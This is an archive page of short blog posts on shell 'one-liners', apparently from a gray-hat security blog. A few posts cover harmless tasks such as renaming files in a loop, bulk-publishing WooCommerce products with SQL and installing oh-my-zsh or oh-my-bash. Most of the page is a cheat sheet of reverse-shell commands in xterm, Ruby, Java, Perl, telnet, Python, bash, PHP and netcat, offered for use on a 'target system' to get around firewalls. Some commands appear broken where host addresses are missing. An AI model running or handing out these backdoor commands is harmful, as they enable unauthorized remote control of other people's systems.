One line shell commands that are extremely useful. Often they are more than a single command or a short kind of script.

Execute a Command on All Files in a Folder

Run a Command Against All Files in a Folder

How to rename all files in a folder:

For a very long time, Microsoft Windows did not ship with Powershell. In fact, it did not ship with any kind of shell and all.

So, when Windows users would ask me about Linux, or any other operating systems, that was one of the main things I would point out to them. At least, if they were “tech savvy”, the raw power of having a shell versus “just a command prompt”. And how scripting in the command line, on the fly is invaluable. I’m sure it’s invaluable everywhere, but I found it especially invaluable in the security world

Here’s a one line command to create a “for loop” and execute that command on each file found in a particular folder:

for i in *;mv "$i" "$i.conf"; done

Yup, it’s that easy in BASH.

The above command will iterate (duh) the ‘move file’ command and append ‘.conf’ to the end of the filename, by “moving” those files to the same folder but with .conf added to their name. Yes, it does essentially just rename them.

You’re welcome and remember to wash your hands.

2020-07-01T16:00:15-04:00June 23rd, 2020|Categories: Engineering, One Liners|

One Liner Reverse Shells, Remote Desktop Edition

one line reverse shell xterm
one line reverse shell using xterm


So, it’s been a little while, since I shared some one line reverse shells with you guys. Here are a few “obscure” ones, if you ever find the need for them. I do not recommend bothering with the remote Xsessions. But, to each their own.


Xterm One Line Reverse Shell


You’ll need to listen on port 6001 using a tool like xnest, try xnest :1 and then:


xterm -display


Boom! Remote desktop.


Ruby Reverse Shell in One Line


Listen on port 1234, obviously.


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Java One Line Reverse Shell


This one is cross-platform, as Java always tries to be. Listen on port 2002


r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()



2020-07-07T02:09:47-04:00May 20th, 2020|Categories: Jeet Kune Crypto, One Liners|Tags: , , |

Post Thousands of Products on WooCommerce Instantly

How to Post Thousands of Products on WordPress Instantly

Importing large amounts of product data into WordPress / WooCommerce can be a daunting task. Here’s how you can instantly publish thousands products on WooCommerce using the terminal.

mysql -u dbuser -p dbname
update wp_posts set `post_status` = 'publish' where `post_type` = 'product';
publish thousands of products instantly
If you guessed that we’d use the command line. to publish thousands of products, good for you. :)

SQL databases are awesome! That’s right, and you can simply change ‘publish’ to ‘draft’ to delist thousands of products as well. You should take a look through wp_postmeta and see all the various meta keys you can use to filter products and work with your catalog through the command line. It’ll save you time and money.

2020-07-24T10:26:35-04:00May 11th, 2020|Categories: Engineering, One Liners|Tags: , |

Jeet Kune Crypto: Powerful Perl Reverse Shells

Let’s spawn a few perl reverse shells, in various environments. Why? Because Perl is that diverse.


Perl Reverse Shells


If you’re just getting into writing code, python comes heavily recommended. But, if code auditing is something you’re wanting to get into, jumping straight into perl might be more beneficial. And, yes, these are all built to be executed on a single line.


A linux reverse shell using /bin/sh


perl -e 'use Socket; $i=""; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR, ">&S"); exec("/bin/sh -i");};'


perl reverse shell connecting back to ncat
perl reverse shell connecting back
ncat listening for the perl reverse shell to connect
ncat listening and accepting


A Windows reverse shell using Perl


It’s actually not uncommon to find perl installed on Windows Servers


perl -MIO -e '$c=new IO::Socket::INET(PeerAddr, "");STDIN->fdopen($c,r);$~->fdopen($c,w);$_ while<>;'


Perl reverse shell without using /bin/sh


Perl is so versatile that we can do some amazing things with it. Watch us spawn a reverse shell without using a binary!


perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, "");STDIN->fdopen($c,r);$~->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


Feel free to comment, if you’ve got some more reverse shells. We do have moderation enabled, but we’re pretty lenient with the content here, at Gray Hat Freelancing.

2020-07-24T10:52:59-04:00April 6th, 2020|Categories: Jeet Kune Crypto, One Liners|Tags: , , |

Jeet Kune Crypto: Telnet Reverse Shells are Devastating

Reverse shells communicate in plaintext, by default. Telnet isn’t often installed by default any more. But, if it does exist on your target system, here are two one liners you can use to spawn a reverse shell with telnet.

Telnet Reverse Shells are Easy

rm -rf /tmp/p; mknod /tmp/p p && telnet 1234 0/tmp/p
telnet reverse shells
ugh… telnet

Another Simple Telnet Connect-Back Shell

telnet 1234 | /bin/bash | telnet 1235

As usual, in these reverse shell scenarios, your IP is and your port is 1234. Telnet should be piped through an encrypted tunnel, unless you don’t mind people snooping on you.

2020-07-13T17:39:58-04:00April 6th, 2020|Categories: Jeet Kune Crypto, One Liners|Tags: , |

More One Line Reverse Shells

Jeet Kune Crypto: One Line Reverse Shells with Scripting Languages

Reverse shells are extremely useful for subverting firewalls or other security mechanisms that may block new opened ports. Often you’ll find hosts already have several scripting languages installed. We’re going to take advantage of the some of the most popular of those languages, to spawn a reverse shell.

In these scenarios, your listening IP is and your listening port is 1234.

Python Reverse Shell:

This python one line reverse shell is kind of a trip. Trust me, nobody expects you to remember this one, off of the top of your head.

python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

BASH Reverse Shell:

This one is simple. Everyone expects you to remember something like this, off of the top of your head.

bash -i >& /dev/tcp/ 0>&1

PHP Reverse Shell:

From terminal:

php -r '$sock=fsockopen("",1234);exec("/bin/sh" -i <&3 >&3 2>&3");'


2020-07-13T17:31:40-04:00April 6th, 2020|Categories: Jeet Kune Crypto, One Liners|Tags: |

Jeet Kune Crypto: netcat (reverse shells)

Jeet Kune Crypto: netcat (reverse shells)

One of the most useful TCP/IP tools, for network and systems engineers, is netcat. Netcat is commonly referred to as the “TCP/IP Swiss Army Knife”. It is often flagged as malware or a “potentially unwanted program” by anti-malware software.

While traditional backdoors wait for you to connect (which netcat can also do). Here are a few ways that you can use it as a “reverse shell”, or a backdoor that connects back to you:

Versions that support "-e":
nc -e "/bin/sh" <target> <target port>
nc -e "cmd.exe" <target> <target port>

If the version of netcat that you’re using does not support “-e”, you’ll want to create a network socket out of a file. You can “hack” up a network socket on linux, like so:

mkfifo /tmp/socket;cat /tmp/socket|/bin/sh -i 2>&1|nc <target> <target port> > /tmp/socket

If you’re using netcat to listen for the incoming connection, you’d prepare to receive this type of connection like so:

nc <host> <port>
or for a range of ports
nc <host> <starting port>-<ending port>
2020-06-19T12:24:43-04:00April 5th, 2020|Categories: Jeet Kune Crypto, One Liners|Tags: , |



oh-my-zsh terminal screenshot

Oh My Zsh is a delightful, open source, community-driven framework for managing your Zsh configuration. It comes bundled with thousands of helpful functions, helpers, plugins, themes, and a few things that make you shout…

sh -c "$(curl -fsSL"

2020-06-19T12:21:29-04:00April 4th, 2020|Categories: One Liners|Tags: , |


BASH (Bourne Again Shell) Logo



If you’ve heard about Oh-My-ZSH before, Oh-My-BASH is a similar project for the Bourne Again Shell.

Here’s a one-liner to install Oh-My-BASH:

sh -c "$(curl -fsSL"

Typically what you get with "Oh-My-BASH" is going to be a prettier prompt and a slightly more robust command completion. However, if you happen to use the various services which already have plugins, you'll find it even more useful. For example, I often have clients that need help with Amazon AWS and that plugin speeds up several tasks for me. You mileage will vary, but keep in mind that you can write your own plugins as well.
The main reason I linked it and promoted it is that I'd like to see the project succeed. Personally, I tend to favor ZSH on linux and also stick with CSH on BSD. However, like everyone else, I tend to be in a BASH environment when I log into client machines.

2021-11-05T15:39:03-04:00April 4th, 2020|Categories: One Liners|Tags: , , |
Go to Top